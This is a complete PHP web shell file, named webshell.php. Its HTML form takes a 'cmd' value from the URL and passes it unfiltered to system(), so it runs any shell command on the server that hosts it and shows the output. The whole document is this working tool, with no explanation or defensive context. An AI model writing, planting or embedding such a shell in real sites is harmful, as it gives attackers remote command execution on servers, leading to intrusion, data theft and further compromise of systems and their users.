webshell.php

<html>
   <body>
      <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
         <input type="TEXT" name="cmd" autofocus id="cmd" size="80">
         <input type="SUBMIT" value="Execute">
      </form>
      <pre id="output">
         <?php
            if (isset($_GET['cmd'])) {
               system($_GET['cmd']);
            }
         ?>
      </pre>
   </body>
</html>